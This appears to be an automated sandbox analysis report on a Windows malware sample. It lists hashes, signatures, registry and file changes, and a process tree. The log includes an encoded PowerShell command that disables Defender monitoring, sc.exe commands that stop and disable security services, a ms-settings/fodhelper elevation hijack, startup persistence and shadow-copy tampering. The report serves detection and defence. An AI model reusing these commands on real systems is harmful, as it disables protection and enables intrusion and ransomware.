Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
20/08/2026, 10:16
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
cakhiatv.watch_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
cakhiatv.watch_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target cakhiatv.watch_hyber.exe
- Size 49KB
- Sample260820-mba97acf67
- SHA256 329ba0affb111bc59891baa46dcf40743b6c43f4c537efe0cb60dbaa3bf15125
- MD5 aa8c2a6a9c7fbfed8df37fa569221dc9
- SHA1 7b9bdf7aee58fbf3d2fee9610eff239d999347eb
- SHA512 55760d59d36c7e5a5a44cba7f38544531f71a4b61a1173152d1324a1e999e473e91260b79a51cbe92aa204328b935d8a7c1dc34a041bf3e7b454e7c286592426
- SSDEEP 384:BFrb51vIFF66z9S0huAozGYKg+9wFfYjid2+0xNcKKKKmI2hM6ZxSb7RcH9iUXFr:TrVZZ6zs0hjh17bqc/NaPzfX/fZH4D
- TLSH T12633F54937FD4522E1BF8ABA49F290119731F453DC23DB8E1AD8459E09F37408DA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/3304-1-0x0000000000880000-0x0000000000892000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" cakhiatv.watch_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5316 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" cakhiatv.watch_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts cakhiatv.watch_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 4472 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf cakhiatv.watch_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf cakhiatv.watch_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf cakhiatv.watch_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatv.watch_hyber.exe" cakhiatv.watch_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5752 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe cakhiatv.watch_hyber.exe File created C:\Windows\system32\sysupdate.exe cakhiatv.watch_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe cakhiatv.watch_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4740 wscript.exe 4724 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" cakhiatv.watch_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1466731457.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5000 sc.exe 3928 sc.exe 264 sc.exe 4812 sc.exe 2328 sc.exe 4448 sc.exe 4548 sc.exe 4748 sc.exe 1236 sc.exe 2424 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 264 cmd.exe 608 cmd.exe 2360 cmd.exe 5240 cmd.exe 6040 cmd.exe 480 cmd.exe 2400 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3316 ipconfig.exe 2528 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3332 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2864 vssadmin.exe 4420 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\WallpaperStyle = "2" cakhiatv.watch_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings cakhiatv.watch_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell cakhiatv.watch_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatv.watch_hyber.exe" cakhiatv.watch_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command cakhiatv.watch_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell cakhiatv.watch_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open cakhiatv.watch_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command cakhiatv.watch_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\DelegateExecute cakhiatv.watch_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open cakhiatv.watch_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatv.watch_hyber.exe\" \"%1\"" cakhiatv.watch_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open cakhiatv.watch_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings cakhiatv.watch_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" cakhiatv.watch_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command cakhiatv.watch_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet cakhiatv.watch_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell cakhiatv.watch_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5836 schtasks.exe 4624 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5316 powershell.exe 5316 powershell.exe 5316 powershell.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 4264 WMIC.exe 4264 WMIC.exe 4264 WMIC.exe 4264 WMIC.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 1232 WMIC.exe 1232 WMIC.exe 1232 WMIC.exe 1232 WMIC.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe 3304 cakhiatv.watch_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4888 LogonUI.exe Token: SeCreatePagefilePrivilege 4888 LogonUI.exe Token: SeDebugPrivilege 3304 cakhiatv.watch_hyber.exe Token: SeDebugPrivilege 5316 powershell.exe Token: SeIncreaseQuotaPrivilege 5316 powershell.exe Token: SeSecurityPrivilege 5316 powershell.exe Token: SeTakeOwnershipPrivilege 5316 powershell.exe Token: SeLoadDriverPrivilege 5316 powershell.exe Token: SeSystemProfilePrivilege 5316 powershell.exe Token: SeSystemtimePrivilege 5316 powershell.exe Token: SeProfSingleProcessPrivilege 5316 powershell.exe Token: SeIncBasePriorityPrivilege 5316 powershell.exe Token: SeCreatePagefilePrivilege 5316 powershell.exe Token: SeBackupPrivilege 5316 powershell.exe Token: SeRestorePrivilege 5316 powershell.exe Token: SeShutdownPrivilege 5316 powershell.exe Token: SeDebugPrivilege 5316 powershell.exe Token: SeSystemEnvironmentPrivilege 5316 powershell.exe Token: SeRemoteShutdownPrivilege 5316 powershell.exe Token: SeUndockPrivilege 5316 powershell.exe Token: SeManageVolumePrivilege 5316 powershell.exe Token: 33 5316 powershell.exe Token: 34 5316 powershell.exe Token: 35 5316 powershell.exe Token: 36 5316 powershell.exe Token: SeIncBasePriorityPrivilege 3304 cakhiatv.watch_hyber.exe Token: SeDebugPrivilege 2528 NETSTAT.EXE Token: SeDebugPrivilege 2568 whoami.exe Token: SeDebugPrivilege 5752 tasklist.exe Token: SeIncreaseQuotaPrivilege 5316 powershell.exe Token: SeSecurityPrivilege 5316 powershell.exe Token: SeTakeOwnershipPrivilege 5316 powershell.exe Token: SeLoadDriverPrivilege 5316 powershell.exe Token: SeSystemProfilePrivilege 5316 powershell.exe Token: SeSystemtimePrivilege 5316 powershell.exe Token: SeProfSingleProcessPrivilege 5316 powershell.exe Token: SeIncBasePriorityPrivilege 5316 powershell.exe Token: SeCreatePagefilePrivilege 5316 powershell.exe Token: SeBackupPrivilege 5316 powershell.exe Token: SeRestorePrivilege 5316 powershell.exe Token: SeShutdownPrivilege 5316 powershell.exe Token: SeDebugPrivilege 5316 powershell.exe Token: SeSystemEnvironmentPrivilege 5316 powershell.exe Token: SeRemoteShutdownPrivilege 5316 powershell.exe Token: SeUndockPrivilege 5316 powershell.exe Token: SeManageVolumePrivilege 5316 powershell.exe Token: 33 5316 powershell.exe Token: 34 5316 powershell.exe Token: 35 5316 powershell.exe Token: 36 5316 powershell.exe Token: SeIncreaseQuotaPrivilege 4264 WMIC.exe Token: SeSecurityPrivilege 4264 WMIC.exe Token: SeTakeOwnershipPrivilege 4264 WMIC.exe Token: SeLoadDriverPrivilege 4264 WMIC.exe Token: SeSystemProfilePrivilege 4264 WMIC.exe Token: SeSystemtimePrivilege 4264 WMIC.exe Token: SeProfSingleProcessPrivilege 4264 WMIC.exe Token: SeIncBasePriorityPrivilege 4264 WMIC.exe Token: SeCreatePagefilePrivilege 4264 WMIC.exe Token: SeBackupPrivilege 4264 WMIC.exe Token: SeRestorePrivilege 4264 WMIC.exe Token: SeShutdownPrivilege 4264 WMIC.exe Token: SeDebugPrivilege 4264 WMIC.exe Token: SeSystemEnvironmentPrivilege 4264 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3304 cakhiatv.watch_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4888 LogonUI.exe 4888 LogonUI.exe 3304 cakhiatv.watch_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 3304 wrote to memory of 5316 3304 cakhiatv.watch_hyber.exe 91 PID 3304 wrote to memory of 5000 3304 cakhiatv.watch_hyber.exe 93 PID 3304 wrote to memory of 4812 3304 cakhiatv.watch_hyber.exe 158 PID 3304 wrote to memory of 3928 3304 cakhiatv.watch_hyber.exe 97 PID 3304 wrote to memory of 264 3304 cakhiatv.watch_hyber.exe 122 PID 3304 wrote to memory of 4548 3304 cakhiatv.watch_hyber.exe 101 PID 3304 wrote to memory of 4748 3304 cakhiatv.watch_hyber.exe 103 PID 3304 wrote to memory of 1236 3304 cakhiatv.watch_hyber.exe 105 PID 3304 wrote to memory of 2328 3304 cakhiatv.watch_hyber.exe 107 PID 3304 wrote to memory of 2560 3304 cakhiatv.watch_hyber.exe 108 PID 2560 wrote to memory of 2788 2560 fodhelper.exe 110 PID 3304 wrote to memory of 4740 3304 cakhiatv.watch_hyber.exe 112 PID 3304 wrote to memory of 5836 3304 cakhiatv.watch_hyber.exe 113 PID 3304 wrote to memory of 4872 3304 cakhiatv.watch_hyber.exe 119 PID 3304 wrote to memory of 2400 3304 cakhiatv.watch_hyber.exe 121 PID 3304 wrote to memory of 264 3304 cakhiatv.watch_hyber.exe 122 PID 3304 wrote to memory of 608 3304 cakhiatv.watch_hyber.exe 123 PID 3304 wrote to memory of 2360 3304 cakhiatv.watch_hyber.exe 124 PID 3304 wrote to memory of 5240 3304 cakhiatv.watch_hyber.exe 125 PID 3304 wrote to memory of 480 3304 cakhiatv.watch_hyber.exe 126 PID 3304 wrote to memory of 6040 3304 cakhiatv.watch_hyber.exe 127 PID 3304 wrote to memory of 4624 3304 cakhiatv.watch_hyber.exe 130 PID 3304 wrote to memory of 4724 3304 cakhiatv.watch_hyber.exe 137 PID 3304 wrote to memory of 2864 3304 cakhiatv.watch_hyber.exe 138 PID 3304 wrote to memory of 4264 3304 cakhiatv.watch_hyber.exe 139 PID 3304 wrote to memory of 2600 3304 cakhiatv.watch_hyber.exe 140 PID 3304 wrote to memory of 4472 3304 cakhiatv.watch_hyber.exe 141 PID 3304 wrote to memory of 2424 3304 cakhiatv.watch_hyber.exe 142 PID 3304 wrote to memory of 4448 3304 cakhiatv.watch_hyber.exe 143 PID 6040 wrote to memory of 2528 6040 cmd.exe 150 PID 264 wrote to memory of 3332 264 cmd.exe 151 PID 480 wrote to memory of 3316 480 cmd.exe 152 PID 608 wrote to memory of 5752 608 cmd.exe 153 PID 5240 wrote to memory of 2124 5240 cmd.exe 154 PID 2360 wrote to memory of 2568 2360 cmd.exe 155 PID 2124 wrote to memory of 5936 2124 net.exe 156 PID 2600 wrote to memory of 3040 2600 net.exe 157 PID 2400 wrote to memory of 4420 2400 cmd.exe 159 PID 2400 wrote to memory of 1232 2400 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_hyber.exe"C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3304 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5316
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:5000
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4812
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3928
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:264
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:4548
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4748
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1236
